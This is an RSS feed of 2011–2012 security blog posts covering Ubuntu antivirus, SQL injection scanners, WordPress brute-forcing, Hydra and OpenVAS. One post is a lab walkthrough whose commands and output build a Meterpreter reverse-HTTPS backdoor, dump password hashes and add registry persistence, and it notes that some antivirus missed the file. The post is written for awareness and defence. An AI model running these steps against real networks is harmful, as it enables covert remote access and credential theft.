<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Security &#187; Tools</title>
	<atom:link href="http://hackertarget.com/category/tools/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackertarget.com</link>
	<description>Vulnerability Scanning and Assessments</description>
	<lastBuildDate>Sun, 05 Feb 2012 12:11:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ubuntu and AntiVirus</title>
		<link>http://hackertarget.com/2012/01/ubuntu-antivirus/</link>
		<comments>http://hackertarget.com/2012/01/ubuntu-antivirus/#comments</comments>
		<pubDate>Sat, 14 Jan 2012 03:36:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1735</guid>
		<description><![CDATA[Does Ubuntu need anti-virus? This is a question posed by many of the legions of new users who try out Ubuntu Linux everyday. New users dive into Linux booting up the massively popular Ubuntu Linux. Now for a quick background check; Ubuntu is stable, easy to use and a rock solid desktop. I have been [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2012/01/ubuntu-antivirus/' addthis:title='Ubuntu and AntiVirus '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Does Ubuntu need anti-virus? This is a question posed by many of the legions of new users who try out <a href="http://www.ubuntu.com">Ubuntu Linux</a> everyday. New users dive into Linux booting up the massively popular Ubuntu Linux. </p>
<p>Now for a quick background check; Ubuntu is stable, easy to use and a rock solid desktop. I have been using it since the Warty Warthog (Ubuntu 4.10 ~ 2004), it runs on all my systems: home server, virtual servers and laptops.</p>
<p>Back to the question:<br />
<h2>An Ubuntu Virus?</h2>
<p>, the short answer is no there is no significant threats to an Ubuntu system from a virus. There <a href="https://help.ubuntu.com/community/Antivirus">are cases</a> where you may want to run it on a desktop or server but <b>for the majority of users, you do not need antivirus on Ubuntu.</b></p>
<p><strong font-color="red">Keep in mind that while you don&#8217;t need anti-virus does not mean you don&#8217;t need to be security aware.</strong></p>
<p>Members of the Ubuntu community have put together an excellent <a href="https://wiki.ubuntu.com/BasicSecurity" title="Ubuntu Security Guide">introduction to Security on Ubuntu Linux</a>. There are also free <a href="http://hackertarget.com/nmap-scan/" title="Firewall Port Test">firewall test</a> and other <a href="http://hackertarget.com/free-security-vulnerability-scans/" title="Security Scanning Tools">scanning tools</a> available to ensure your network is correctly configured.</p>
<p>Once you have familiarized yourself with the concepts and information in the guide; if you are really keen (or paranoid) I would suggest a security addition to your systems, it is known as Host Based Intrusion Detection system. My <a href="http://en.wikipedia.org/wiki/Host-based_intrusion_detection_system">HIDS</a> agent of choice is <a href="http://www.ossec.net">ossec.net</a>, it will not detect a virus as such but it does alert you to anomalous behavior on the system by examining system logs and watching the file system. If you chose to run <a href="http://www.ossec.net">OSSEC</a> you probably do not need to run <a href="http://www.rootkit.nl/projects/rootkit_hunter.html">rkhunter</a> and <a href="http://www.chkrootkit.org">chkrootkit</a> that are mentioned on the <a href="https://wiki.ubuntu.com/BasicSecurity" title="Ubuntu Security Guide">Basic Security Wiki page</a>.</p>
<p>This old <a href="http://hackertarget.com/2009/08/ossec-introduction-and-installation-guide/" title="ossec ubuntu">install guide I did for OSSEC on Ubuntu</a> has the basic steps in getting it up and running.</p>
<p>Finally if you have a need for running anti-virus on Ubuntu, there is a good <a href="https://help.ubuntu.com/community/Antivirus">article on the Ubuntu wiki</a> that has links to the popular and free antivirus software available (such as AVG, Avast, Avira) and the open source <a href="http://www.clamav.net">clamAV</a>.</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2012/01/ubuntu-antivirus/' addthis:title='Ubuntu and AntiVirus '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2012/01/ubuntu-antivirus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection Scanner List</title>
		<link>http://hackertarget.com/2011/07/sql-injection-scanner-list/</link>
		<comments>http://hackertarget.com/2011/07/sql-injection-scanner-list/#comments</comments>
		<pubDate>Fri, 22 Jul 2011 00:02:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1504</guid>
		<description><![CDATA[Coresec.org has an excellent summary of the wide range of SQL Injection scanning tools available from detection to automated exploitation and shells on a plate. Hit the link for the full list &#8211; SQL Injection Scanners<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/07/sql-injection-scanner-list/' addthis:title='SQL Injection Scanner List '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.coresec.org">Coresec.org</a> has an excellent summary of the wide range of SQL Injection scanning tools available from detection to automated exploitation and shells on a plate.</p>
<div class="woo-sc-box normal   "><strong>Sqlninja</strong> ( http://sqlninja.sourceforge.net/ )<br />
Supports only Microsoft SQL Server.</p>
<p><strong>sqlmap</strong> ( http://sqlmap.sourceforge.net/ )<br />
Full support: MySQL, Oracle, PostgreSQL and Microsoft SQL Server.<br />
Partial support for: Microsoft Access, DB2, Informix, Sybase and Interbase.</p>
<p><strong>Pangolin 3.2.3 free edition</strong> ( http://down3.nosec.org/pangolin_free_edition_3.2.3.1105.zip )<br />
Your web applications using Access,DB2,Informix,Microsoft SQL Server 2000,Microsoft SQL Server 2005,Microsoft SQL Server 2008,MySQL,Oracle,PostgreSQL,Sqlite3,Sybase.<br />
Features: Auto-analyzing keyword, HTTPS support, Pre-Login, Bypass firewall setting, Injection Digger, Data dumper, etc.</p>
<p><strong>Havij v1.14 Advanced SQL Injection</strong> – free version ( http://www.itsecteam.com/files/havij/Havij1.14Free.rar )<br />
</div>
<p>Hit the link for the full list &#8211; <a href="http://www.coresec.org/2011/07/18/sql-injection-scanners/" title="SQL Injection Tool Summary">SQL Injection Scanners</a></p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/07/sql-injection-scanner-list/' addthis:title='SQL Injection Scanner List '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/07/sql-injection-scanner-list/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Security Testing WordPress</title>
		<link>http://hackertarget.com/2011/07/security-testing-wordpress/</link>
		<comments>http://hackertarget.com/2011/07/security-testing-wordpress/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 06:03:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1481</guid>
		<description><![CDATA[A couple of wordpress security assessment tools have popped up over the past couple of months, this has to be a good thing with the number of WordPress installations sky-rocketing. First of course there is the HackerTarget.com scan, externally facing and coming in at a fairly high level. The system downloads some of your pages, [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/07/security-testing-wordpress/' addthis:title='Security Testing WordPress '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>A couple of wordpress security assessment tools have popped up over the past couple of months, this has to be a good thing with the number of WordPress installations sky-rocketing.</p>
<p>First of course there is the <a href="http://hackertarget.com/wordpress-security-scan/">HackerTarget.com scan</a>, externally facing and coming in at a fairly high level. The system downloads some of your pages, does analysis, checks a few additional links and gives you a tidy little report detailing any security issues discovered.</p>
<p>Our scan does not perform brute forcing of accounts, passwords or plugins. Brute Forcing is more appropriate in a targeted pen-test or black-box vulnerability assessment.</p>
<p>Simply put brute forcing for:<br />
<div class="shortcode-unorderedlist green-dot"></p>
<ul>
<li>Plugins is achieved by testing URL&#8217;s http://myexampleblog.cm/wp-content/plugins/$pluginname</li>
<li>Usernames can be brute forced with a POST request to the login form (Incorrect username)</li>
<li>Passwords can be brute forced (with valid username) by hitting the login form</li>
</ul>
<p></div>
</p>
<p>Additionally username&#8217;s can also be gathered through some WordPress themes, RSS feeds, and author page URI&#8217;s such as /blog/author/admin/.</p>
<p>These tools and scripts that can be utilized in your Penetration Testing of WordPress.</p>
<p>Metasploit has a <a href="http://www.metasploit.com/modules/auxiliary/scanner/http/wordpress_login_enum">module for enumerating usernames and brute forcing passwords</a>. It is solid and convenient; everyone has <a href="http://www.metasploit.com" target="_blank">Metasploit</a> installed&#8230; don&#8217;t they?  <img src='http://hackertarget.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>An NSE (nmap scripting engine) <a href="http://seclists.org/nmap-dev/2011/q1/806" target="_blank">script was released</a> for Nmap that does plugin brute forcing.</p>
<p>Just in the last few days a new tool hit the tubes <a href="http://www.ethicalhack3r.co.uk/security/introducing-wpscan-wordpress-security-scanner/" target="_blank">wpscan</a>. Still under development it does a few different checks including brute forcing for accounts.</p>
<p>All the tools referenced above are dedicated towards <strong>external testing</strong> of wordpress installations. There are <a href="http://wordpress.org/extend/plugins/wp-security-scan/">other options</a> that involve installation of plugins into the wordpress installations for deeper monitoring.</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/07/security-testing-wordpress/' addthis:title='Security Testing WordPress '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/07/security-testing-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backdoor Corporate Networks with Metasploit</title>
		<link>http://hackertarget.com/2011/07/backdoor-corporate-networks-with-metasploit/</link>
		<comments>http://hackertarget.com/2011/07/backdoor-corporate-networks-with-metasploit/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 12:55:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security News]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1407</guid>
		<description><![CDATA[HD Moore recently announced a new post exploitation tool offering Meterpreter sessions over HTTPS (HTTP) that will traverse the corporate proxy. Variations on this have been available previously but have been for a number of reasons been not so stable. Let&#8217;s first look at a common locked down Corporate Network. Then we will show how [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/07/backdoor-corporate-networks-with-metasploit/' addthis:title='Backdoor Corporate Networks with Metasploit '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>HD Moore <a title="Rapid 7 Blog post on Meterpreter over HTTPS" href="https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication">recently announced a new post exploitation tool</a> offering Meterpreter sessions over HTTPS (HTTP) that will traverse the corporate proxy. Variations on this have been available previously but have been for a number of reasons been not so stable.</p>
<div class="woo-sc-box info   ">The purpose of this post is to raise awareness. Many IT folks are comfortable with a firewall, regular patching and antivirus. All good right?</div>
<p>Let&#8217;s first look at a common locked down Corporate Network. Then we will show how pwnage is not difficult with this new Payload.</p>
<p><img src="http://hackertarget.com/wp-content/uploads/2011/07/corporate-network-with-proxy-300x219.png" style="border: 0px;"></p>
<p><strong>Lab Setup</strong><br />
I am simulating the network with 3 virtual guest machines and the host Ubuntu Linux system. 1 virtual guest will act as the Firewall and Proxy, while the 2 other guests are Windows clients that will be the targets. The laptop host in this lab is the attacker on the Internet.</p>
<table class="noborder" style="width: 540px;" cellspacing="0">
<tbody>
<tr class="table-top">
<td style="font-size: 12px;">System</td>
<td align="center" style="font-size: 12px;">Operating System</td>
<td align="center" style="font-size: 12px;">IP Address</td>
</tr>
<tr class="table-bl">
<td style="font-size: 12px;">Laptop 4gb ram running VirtualBox</td>
<td class="td-lightbl" style="font-size: 12px;">Ubuntu 11.04</td>
<td class="td-lightbl" style="font-size: 12px;">Host Only Networking: 192.168.56.1</td>
</tr>
<tr class="table-bl">
<td style="font-size: 12px;">Linux Gateway<br />guest1</td>
<td class="td-lightbl" style="font-size: 12px;"><a href="http://www.smoothwall.org/">Smoothwall</a> with Proxy and Outbound Firewall Rules</td>
<td class="td-lightbl" style="font-size: 12px;">Host Only Network: 192.168.56.101<br />
Host Only Network2: 10.10.10.1</td>
</tr>
<tr class="table-bl">
<td style="font-size: 12px;">Windows Victim1<br />guest2</td>
<td class="td-lightbl" style="font-size: 12px;">Windows XP Service Pack 3<br />no additional patches</td>
<td class="td-lightbl" style="font-size: 12px;">Host Only Network2: 10.10.10.199</td>
</tr>
<tr class="table-bl">
<td style="font-size: 12px;">Windows Victim2<br />guest3</td>
<td class="td-lightbl" style="font-size: 12px;">Windows 7 Enterprise<br />fully patched</td>
<td class="td-lightbl" style="font-size: 12px;">Host Only Network2: 10.10.10.198</td>
</tr>
</tbody>
</table>
<p>On the virtual gateway Smoothwall box I configured DHCP, Proxy, Snort and Firewall Rules to block outbound traffic. Only opened 22 (for sftp) and proxy port (tcp 800). This has simulated the corporate network in the diagram above.</p>
<p>Now build the malicious executable. </p>
<div class="woo-sc-box note   ">In this test we are building an exe to launch the Payload. Code execution on the client host could be accomplished in many ways, exploitation via social engineering, emailed links with malicious java applets, client based exploits etc.</div>
<p>On the Laptop I am running Metasploit Framework 3.7.2.</p>
<blockquote>
<p>/opt/framework-3.7.2/msf3# msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=192.168.56.1 LPORT=443 &gt; evil_https.exe</p></blockquote>
<p>Now to setup the listener on the laptop.</p>
<blockquote><p>msf &gt; use exploit/multi/handler<br />
msf exploit(handler) &gt; set PAYLOAD windows/meterpreter/reverse_https<br />
PAYLOAD =&gt; windows/meterpreter/reverse_https<br />
msf exploit(handler) &gt; set LHOST 192.168.56.1<br />
LHOST =&gt; 192.168.56.1<br />
msf exploit(handler) &gt; set SessionCommunicationTimeout 0<br />
SessionCommunicationTimeout =&gt; 0<br />
msf exploit(handler) &gt; set ExitOnSession false<br />
ExitOnSession =&gt; false<br />
msf exploit(handler) &gt; set LPORT 443<br />
LPORT =&gt; 443<br />
msf exploit(handler) &gt; exploit -j<br />
[*] Exploit running as background job.<br />
[*] Started HTTPS reverse handler on https://192.168.56.1:443/<br />
[*] Starting the payload handler&#8230;<br />
msf exploit(handler) &gt;</p></blockquote>
<p>Use scp or whatever to copy evil_https.exe to the Windows XP system and then run it. </p>
<p>Back in the console on the Linux host we see.</p>
<blockquote><p>[*] 192.168.56.101:43681 Request received for /INITM&#8230;<br />
[*] 192.168.56.101:43681 Staging connection for target /INITM received&#8230;<br />
[*] Patched transport at offset 486516&#8230;<br />
[*] Patched URL at offset 486248&#8230;<br />
[*] Patched Expiration Timeout at offset 641856&#8230;<br />
[*] Patched Communication Timeout at offset 641860&#8230;<br />
[*] Meterpreter session 1 opened (192.168.56.1:443 -&gt; 192.168.56.101:43681) at Fri Jul 15 12:09:01 +1000 2011</p>
<p>meterpreter &gt; hashdump<br />
Administrator:500:aad3b435b51404eexad3e435t51404ee:31d6cse0dfe6ae931b73c5ed7e0c089c0:::<br />
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br />
HelpAssistant:1000:e4c292ecc2957ce7fb630fc6166aa510:235f3388ca0a29e8494d047362de1507:::<br />
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c77865e3c4b213df710209775e335e62:::</p></blockquote>
<p>Evil_https.exe connected to the listener on Laptop. All communication took place over the proxy. Looking at netstat on the client XP machine we only see HTTPS connections to the proxy. A very normal type of connection.</p>
<p>How solid is the connection? Lets reboot the smoothwall proxy host.</p>
<p>Meterpreter session appears to hang during the reboot. Type a command; wait&#8230;. success!! The session over the proxy using HTTPS is re-established. I did not have to re-run executable. </p>
<blockquote><p>meterpreter &gt; ipconfig</p>
<p>AMD PCNET Family PCI Ethernet Adapter &#8211; Packet Scheduler Miniport<br />
Hardware MAC: 08:00:27:70:63:0d<br />
IP Address : 10.10.10.199<br />
Netmask : 255.255.255.0</p>
<p>MS TCP Loopback interface<br />
Hardware MAC: 00:00:00:00:00:00<br />
IP Address : 127.0.0.1<br />
Netmask : 255.0.0.0</p>
<p>meterpreter &gt; screenshot<br />
Screenshot saved to: /opt/framework-3.7.2/msf3/bFjkdUHa.jpeg</p></blockquote>
<p>Lets improve things and make it persistent on the client so that when the corporate user takes his laptop home we get a session from home, and then another session the next morning from the corporate network.</p>
<p>These commands manipulate the registry and will add evil_https.exe to the start-up programs on the client XP machine.</p>
<blockquote><p>meterpreter &gt; reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run<br />
Enumerating: HKLM\software\microsoft\windows\currentversion\run</p>
<p>Values (1):</p>
<p>VBoxTray</p>
<p>meterpreter &gt; reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v evil -d &#8216;C:\windows\evil_https.exe&#8217;<br />
Successful set evil.</p>
<p>meterpreter &gt; reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run<br />
Enumerating: HKLM\software\microsoft\windows\currentversion\run</p>
<p>Values (3):</p>
<p>VBoxTray<br />
evil</p>
<p>meterpreter &gt;</p></blockquote>
<p>Next I rebooted Windows XP and we received a new session on the listener after the reboot.</p>
<blockquote><p>msf exploit(handler) &gt;<br />
[*] 192.168.56.101:55182 Request received for /INITM&#8230;<br />
[*] 192.168.56.101:55182 Staging connection for target /INITM received&#8230;<br />
[*] Patched transport at offset 486516&#8230;<br />
[*] Patched URL at offset 486248&#8230;<br />
[*] Patched Expiration Timeout at offset 641856&#8230;<br />
[*] Patched Communication Timeout at offset 641860&#8230;<br />
[*] Meterpreter session 2 opened (192.168.56.1:443 -&gt; 192.168.56.101:55182) at Fri Jul 15 12:43:31 +1000 2011</p></blockquote>
<p>Nice, now as mentioned in the release blog post it should also be possible to quit out of the metasploit console and re-establish a session without touching the WinXP box.</p>
<p>I quit from Metasploit Console. Went and had some lunch.</p>
<p>Ok, after a great lunch I fired up the msfconsole using the same settings as before. I do not touch the XP machine.</p>
<blockquote><p>/opt/framework-3.7.2/msf3# ./msfconsole</p>
<p>| | _) |<br />
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|<br />
| | | __/ | ( |\__ \ | | | ( | | |<br />
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|<br />
_|</p>
<p>=[ metasploit v3.8.0-dev [core:3.8 api:1.0]<br />
+ &#8212; &#8211;=[ 711 exploits - 360 auxiliary - 58 post<br />
+ -- --=[ 225 payloads - 27 encoders - 8 nops<br />
=[ svn r13116 updated 8 days ago (2011.07.07)</p>
<p>msf &gt; use exploit/multi/handler<br />
msf exploit(handler) &gt; set PAYLOAD windows/meterpreter/reverse_https<br />
PAYLOAD =&gt; windows/meterpreter/reverse_https<br />
msf exploit(handler) &gt; set LHOST 192.168.56.1<br />
LHOST =&gt; 192.168.56.1<br />
msf exploit(handler) &gt; set LPORT 443<br />
LPORT =&gt; 443<br />
msf exploit(handler) &gt; set SessionCommunicationTimeout 0<br />
SessionCommunicationTimeout =&gt; 0<br />
msf exploit(handler) &gt; set ExitOnSession false<br />
ExitOnSession =&gt; false<br />
msf exploit(handler) &gt; exploit -j<br />
[*] Exploit running as background job.</p>
<p>[*] Started HTTPS reverse handler on https://192.168.56.1:443/<br />
[*] Starting the payload handler&#8230;<br />
msf exploit(handler) &gt;<br />
[*] 192.168.56.101:40252 Request received for /CONN_pJGJgpWGAzUlDCTZ/&#8230;<br />
[*] Incoming orphaned session CONN_pJGJgpWGAzUlDCTZ, reattaching&#8230;<br />
[*] Meterpreter session 1 opened (192.168.56.1:443 -&gt; 192.168.56.101:40252) at Fri Jul 15 13:57:34 +1000 2011</p></blockquote>
<p>Wow, that is nice the client machine reconnected. This new payload is stable and undeniably dangerous.</p>
<p>Righto, same deal on fully patched Windows7 Enterprise with &#8220;Work Network Settings&#8221; (no Anti-Virus).</p>
<blockquote><p>meterpreter &gt;<br />
[*] 192.168.56.101:50910 Request received for /INITM&#8230;<br />
[*] 192.168.56.101:50910 Staging connection for target /INITM received&#8230;<br />
[*] Patched transport at offset 486516&#8230;<br />
[*] Patched URL at offset 486248&#8230;<br />
[*] Patched Expiration Timeout at offset 641856&#8230;<br />
[*] Patched Communication Timeout at offset 641860&#8230;<br />
[*] Meterpreter session 2 opened (192.168.56.1:443 -&gt; 192.168.56.101:50910) at Fri Jul 15 14:22:07 +1000 2011</p>
<p>meterpreter &gt;<br />
msf exploit(handler) &gt; sessions -i 2<br />
[*] Starting interaction with 2&#8230;</p>
<p>meterpreter &gt; ipconfig</p>
<p>Intel(R) PRO/1000 MT Desktop Adapter<br />
Hardware MAC: 08:00:27:ef:f4:61<br />
IP Address : 10.10.10.198<br />
Netmask : 255.255.255.0</p>
<p>meterpreter &gt; sysinfo<br />
System Language : en_AU<br />
OS : Windows 7 (Build 7600).<br />
Computer : TEST-VM2<br />
Architecture : x86<br />
Meterpreter : x86/win32<br />
meterpreter &gt; run getcountermeasure<br />
[*] Running Getcountermeasure on the target&#8230;<br />
[*] Checking for contermeasures&#8230;<br />
[*] Getting Windows Built in Firewall configuration&#8230;<br />
[*]<br />
[*] Domain profile configuration:<br />
[*] &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] Operational mode = Enable<br />
[*] Exception mode = Enable<br />
[*]<br />
[*] Standard profile configuration (current):<br />
[*] &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[*] Operational mode = Enable<br />
[*] Exception mode = Enable<br />
[*]<br />
[*] Checking DEP Support Policy&#8230;<br />
meterpreter &gt;</p></blockquote>
<h2>Booya!</h2>
<p>Note that both the client systems were not running any Anti-virus. The executable may have been blocked if they were.</p>
<p>Lets check virustotal.com. Remember this is a vanilla payload from <a href="https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom" title="msfvenom introduction" target="_blank">msfvenom</a>. I have not used exe templates or attempted additional tricks to avoid Anti-virus detection.</p>
<p><img src="http://hackertarget.com/wp-content/uploads/2011/07/virustotal1-300x159.png" style="border: 0px;"></p>
<p>Quite a few anti-virus programs detected the executable as dangerous (27 out of 43). Let&#8217;s have a closer look at corporate favourites like <a href="http://www.symantec.com/" title="Symantec Anti-Virus" target="_blank">Symantec</a> and <a href="http://us.trendmicro.com/us/home/index.html" target="_blank">Trend</a>. </p>
<p><img src="http://hackertarget.com/wp-content/uploads/2011/07/virustotal2-300x113.png" style="border: 0px;"></p>
<p>Symantec and Trend did not detect the executable as dangerous.</p>
<div class="woo-sc-box note   ">Corporate Networks face a serious threat from this type of attack. The attack traffic is wrapped in SSL so filtering will not see much unless you are decrypting at the proxy, which for most organizations is unlikely.</div>
<p>By understanding the attack you can then start to discuss and find effective ways to defend against these types of targeted attacks.</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/07/backdoor-corporate-networks-with-metasploit/' addthis:title='Backdoor Corporate Networks with Metasploit '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/07/backdoor-corporate-networks-with-metasploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hydra 6.4 Password Brute Forcer</title>
		<link>http://hackertarget.com/2011/06/hydra-6-4-password-brute-forcer/</link>
		<comments>http://hackertarget.com/2011/06/hydra-6-4-password-brute-forcer/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 10:02:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1108</guid>
		<description><![CDATA[The latest version of Hydra has been released with some bug fixes. Problems noted in my post comparing hydra with ncrack and medusa have been addressed and after testing I can confirm these issues are no longer present. CHANGELOG for 6.4 ================= * Update SIP module to extract and use external IP addr return from [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/06/hydra-6-4-password-brute-forcer/' addthis:title='Hydra 6.4 Password Brute Forcer '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>The latest <a href="http://www.thc.org/thc-hydra/" title="password brute force cracking tool">version of Hydra</a> has been released with some bug fixes. Problems noted in <a href="http://hackertarget.com/2011/05/brute-forcing-passwords-with-ncrack-hydra-and-medusa/" title="brute force tools">my post comparing hydra with ncrack and medusa</a> have been addressed and after testing I can confirm these issues are no longer present.</p>
<blockquote class="bubble"><p>        CHANGELOG for 6.4<br />
        =================<br />
        * Update SIP module to extract and use external IP addr return from server error to bypass NAT<br />
        * Update SIP module to use SASL lib<br />
        * Update email modules to check clear mode when TLS mode failed<br />
        * Update Oracle Listener module to work with Oracle DB 9.2<br />
        * Update LDAP module to support Windows 2008 active directory simple auth<br />
        * Fix to the connection adaptation engine which would loose planned attempts<br />
        * Fix make script for CentOS, reported by ya0wei<br />
        * Print error when a service limits connections and few pairs have to be tested<br />
        * Improved Mysql module to only init/close when needed<br />
        * Added patch from the FreeBSD maintainers<br />
        * Module usage help does not need a target to be specified anymore<br />
        * configure script now honors /etc/ld.so.conf.d/ directory</p></blockquote>
<p><a href="http://www.thc.org/thc-hydra/"><br />
Hydra 6.4 Released</a></p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/06/hydra-6-4-password-brute-forcer/' addthis:title='Hydra 6.4 Password Brute Forcer '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/06/hydra-6-4-password-brute-forcer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Installing OpenVas 4.0 on Ubuntu 10.04</title>
		<link>http://hackertarget.com/2011/06/installing-openvas-4-0-on-ubuntu-10-04/</link>
		<comments>http://hackertarget.com/2011/06/installing-openvas-4-0-on-ubuntu-10-04/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 10:34:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1087</guid>
		<description><![CDATA[OpenVas 4.0 was released at the end of March, I have been busy and have not had a chance to fire up the production release. Today I built it from source using one of my test VPS servers. What follows is a quick summary of the process. I think I covered all the steps, however [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/06/installing-openvas-4-0-on-ubuntu-10-04/' addthis:title='Installing OpenVas 4.0 on Ubuntu 10.04 '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://openvas.org/news_archive.html#openvas4">OpenVas 4.0 was released</a> at the end of March, I have been busy and have not had a chance to fire up the production release. Today I built it from source using one of my test VPS servers. What follows is a quick summary of the process. I think I covered all the steps, however if you are not sure what you are doing you might want to test the <a href="http://openvas.org/vm.html">Virtual Server or live cd version</a> or try building this on a test <a href="http://www.ubuntu.com" title="Ubuntu Linux">Ubuntu</a> virtual build that takes about 10 mins to get going (VirtualBox rocks &#8211; &#8220;apt-get install virtualbox-ose&#8221;).</p>
